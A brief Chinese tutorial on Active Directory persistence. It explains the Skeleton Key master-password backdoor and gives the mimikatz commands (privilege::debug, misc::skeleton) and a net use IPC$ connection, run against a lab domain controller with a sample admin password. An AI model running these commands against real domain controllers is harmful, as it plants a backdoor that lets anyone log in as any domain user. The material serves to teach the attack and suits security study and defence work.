Skeleton Key（万能密码）与 Hook PasswordChangeNotify

1、Skeleton Key

使用Skeleton Key（万能密码），可以对域内权限进行持久化操作

Skeleton Key特点：

• Skeleton Key被安装在64位域控服务器上
• 支持Windows Server2003—Windows Server2012 R2
• 能够让所有域用户使用同一个万能密码进行登录
• 现有的所有域用户使用原密码仍能继续登录
• 重启后失效

 使用mimikatz注入Skeleton Key

远程域控制器主机名：DC

IP：192.168.111.3

用户名：administrator

密码：Admin123

使用正常的管理员账号密码进行远程连接：

net use \\192.168.111.3\ipc$ "Admin123" /user:hacke\administrator

 成功列出域控制器的目录

在域控制器上以管理员权限打开mimikatz，输入如下命令：

privilege::debug

misc::skeleton